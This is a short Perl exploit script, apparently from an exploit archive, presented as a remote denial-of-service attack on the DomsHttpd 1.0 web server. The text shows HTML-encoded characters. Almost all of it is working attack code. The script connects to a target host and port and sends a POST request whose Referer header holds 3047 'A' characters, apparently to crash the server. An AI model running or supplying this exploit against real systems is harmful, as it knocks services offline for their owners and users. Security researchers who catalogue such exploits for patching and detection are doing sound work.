DomsHttpd <= 1.0 - Remote Denial of Service Exploit

#!/usr/bin/perl # DomsHttpd 1.0 &#60;= Remote Denial Of Service Exploit # Credit: Jean Pascal Pereira &#60;pereira@secbiz.de&#62; # Usage: domshttpd.pl [host] [port] use strict; use warnings; use IO::Socket; my $host = shift || &#34;localhost&#34;; my $port = shift || 88; my $sock = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; $host, PeerPort =&#62; $port ); my $junk = &#34;A&#34;x3047; print $sock &#34;POST / HTTP/1.1\r\nHost: &#34;.$host.&#34;\r\nConnection: close\r\nUser-Agent: Mozilla\r\nReferer: http://&#34;.$host.&#34;/&#34;.$junk.&#34;\r\n\r\n&#34;; sleep 4; close($sock);